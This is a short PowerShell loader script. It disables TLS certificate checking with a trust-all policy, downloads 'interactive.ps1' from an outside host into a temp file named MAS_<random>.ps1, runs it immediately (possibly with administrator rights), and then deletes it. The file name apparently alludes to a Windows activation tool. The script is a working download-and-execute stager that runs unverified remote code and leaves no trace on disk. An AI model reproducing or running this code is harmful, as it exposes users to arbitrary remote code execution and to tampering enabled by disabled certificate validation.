# Version 1.6.0
$ErrorActionPreference = "Stop"
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12

# Skip SSL certificate validation for self-signed certificates
add-type @"
    using System.Net;
    using System.Security.Cryptography.X509Certificates;
    public class TrustAllCertsPolicy : ICertificatePolicy {
        public bool CheckValidationResult(
            ServicePoint srvPoint, X509Certificate certificate,
            WebRequest request, int certificateProblem) {
            return true;
        }
    }
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy

# Download interactive PowerShell script (URL replaced by server on startup)
$DownloadURL = 'https://2025.win2.asia/interactive.ps1'

Write-Host "Connecting to server..." -ForegroundColor Cyan

try {
    $rand = Get-Random -Maximum 99999999
    $isAdmin = [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544')
    $FilePath = if ($isAdmin) { "$env:SystemRoot\Temp\MAS_$rand.ps1" } else { "$env:TEMP\MAS_$rand.ps1" }

    Write-Host "Downloading script..." -ForegroundColor Yellow
    Invoke-WebRequest -Uri $DownloadURL -OutFile $FilePath -UseBasicParsing -ErrorAction Stop
    
    Write-Host "Download complete, executing..." -ForegroundColor Green
    Write-Host ""
    
    # Execute in current window
    & $FilePath
    
    # Cleanup temp file
    if (Test-Path $FilePath) {
        Remove-Item $FilePath -Force -ErrorAction SilentlyContinue
    }
    
} catch {
    Write-Host "Error: $_" -ForegroundColor Red
    Write-Host ""
    Write-Host "Press any key to exit..." -ForegroundColor Gray
    $null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
}